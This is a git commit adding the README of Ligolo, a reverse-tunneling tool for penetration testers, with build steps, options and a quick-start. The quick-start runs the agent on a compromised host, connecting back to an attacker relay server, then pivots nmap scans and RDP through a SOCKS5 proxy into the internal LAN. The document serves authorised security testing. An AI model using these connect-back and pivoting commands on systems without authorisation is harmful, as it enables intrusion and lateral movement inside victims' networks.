Ligolo is alive

2020-05-22 10:02:53 +02:00
commit db58298f83
12 changed files with 1293 additions and 0 deletions
@@ -0,0 +1,193 @@
+# Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
+
+[![forthebadge](https://forthebadge.com/images/badges/made-with-go.svg)](https://forthebadge.com)
+[![forthebadge](https://forthebadge.com/images/badges/gluten-free.svg)](https://forthebadge.com)
+
+![Ligolo](img/ligolo.png)
+
+<!-- START doctoc generated TOC please keep comment here to allow auto update -->
+<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
+## Table of Contents
+
+- [Introduction](#introduction)
+- [Use case](#use-case)
+- [Quick Demo](#quick-demo)
+- [Performance](#performance)
+- [Usage](#usage)
+  - [Setup / Compiling](#setup--compiling)
+  - [How to use?](#how-to-use)
+  - [TL;DR](#tldr)
+  - [Options](#options)
+- [Features](#features)
+- [To Do](#to-do)
+- [Licensing](#licensing)
+- [Credits](#credits)
+
+<!-- END doctoc generated TOC please keep comment here to allow auto update -->
+
+## Introduction
+
+**Ligolo** is a *simple* and *lightweight* tool for establishing *SOCKS5* or *TCP* tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).
+
+It is comparable to *Meterpreter* with *Autoroute + Socks4a*, but more stable and faster.
+
+## Use case
+
+You compromised a Windows / Linux / Mac server during your external audit. This server is located on a LAN network and
+you want to establish connections to other machines on this network.
+
+**Ligolo** can setup a tunnel to access internal server's resources.
+
+## Quick Demo
+
+Relay of a RDP connection using Proxychains (WAN).
+
+![RDP](img/rdesktop_example.gif)
+
+## Performance
+
+Here is a screenshot of a speedtest between two 100mb/s hosts (ligolo / localrelay). Performance may vary depending on the system and network configuration.
+
+![Speedtest](img/speedtest.png)
+
+## Usage
+
+### Setup / Compiling
+
+Make sure *Go* is installed and working.
+
+1. Get Ligolo and dependencies
+
+```
+cd `go env GOPATH`/src
+git clone https://github.com/sysdream/ligolo
+cd ligolo
+make dep
+```
+
+2. Generate self-signed TLS certificates (will be placed in the *certs* folder)
+
+```
+make certs TLS_HOST=example.com
+```
+
+NOTE: You can also use your own certificates by using the `TLS_CERT` make option when calling *build*. Example: `make build-all TLS_CERT=certs/mycert.pem`.
+
+3. Build
+
+* 3.1. For all architectures
+
+```
+make build-all
+```
+
+* 3.2. (or) For the current architecture
+
+```
+make build
+```
+
+### How to use?
+
+*Ligolo* consists of two modules:
+
+- localrelay
+- ligolo
+
+*Localrelay* is intended to be launched on the control server (the attacker server).
+
+*Ligolo* is the program to run on the target computer.
+
+For *localrelay*, you can leave the default options. It will listen on every interface on port 5555 and wait for connections from *ligolo* (`-relayserver` parameter).
+
+For *ligolo*, you must specify the IP address of the relay server (or your attack server) using the `-relayserver ip:port` parameter.
+
+You can use the `-h` option for help.
+
+Once the connection has been established between *Ligolo* and *LocalRelay*, a *SOCKS5* proxy will be set up on TCP port `1080` on the relay server (you can change the TCP address/port using the *-localserver* option).
+
+After that, all you have to do is use your favorite tool (Proxychains for example), and explore the client's LAN network.
+
+### TL;DR
+
+On your attack server.
+
+```
+./bin/localrelay_linux_amd64
+```
+
+On the compromise host.
+
+```
+> ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
+```
+
+Once the connection is established, set the following parameters on the ProxyChains config file (On the attack server):
+
+```
+[ProxyList]
+# add proxy here ...
+# meanwile
+# defaults set to "tor"
+socks5     127.0.0.1 1080
+```
+
+Profit.
+
+```
+$ proxychains nmap -sT 10.0.0.0/24 -p 80 -Pn -A
+$ proxychains rdesktop 10.0.0.123
+```
+
+### Options
+
+*Localrelay* options:
+
+```
+Usage of localrelay:
+  -certfile string
+    	The TLS server certificate (default "certs/server.crt")
+  -keyfile string
+    	The TLS server key (default "certs/server.key")
+  -localserver string
+    	The local server address (your proxychains parameter) (default "127.0.0.1:1080")
+  -relayserver string
+    	The relay server listening address (the connect-back address) (default "0.0.0.0:5555")
+```
+
+*Ligolo* options:
+
+```
+Usage of ligolo:
+  -autorestart
+    	Attempt to reconnect in case of an exception
+  -relayserver string
+    	The relay server (the connect-back address) (default "127.0.0.1:5555")
+  -skipverify
+    	Skip TLS certificate pinning verification
+  -targetserver string
+    	The destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server
+```
+
+## Features
+
+- TLS 1.3 tunnel with TLS pinning
+- Multiplatforms (Windows / Linux / Mac / ...)
+- Multiplexing (1 TCP connection for all flows)
+- SOCKS5 proxy or simple relay
+
+## To Do
+
+- Better timeout handling
+- SOCKS5 UDP support
+- Implement mTLS
+
+## Licensing
+
+GNU General Public License v3.0 (See LICENSING).
+
+## Credits
+
+* Nicolas Chatelain <n.chatelain -at- sysdream.com>
+
+[![Sysdream](img/logo_sysdream.png)](https://sysdream.com)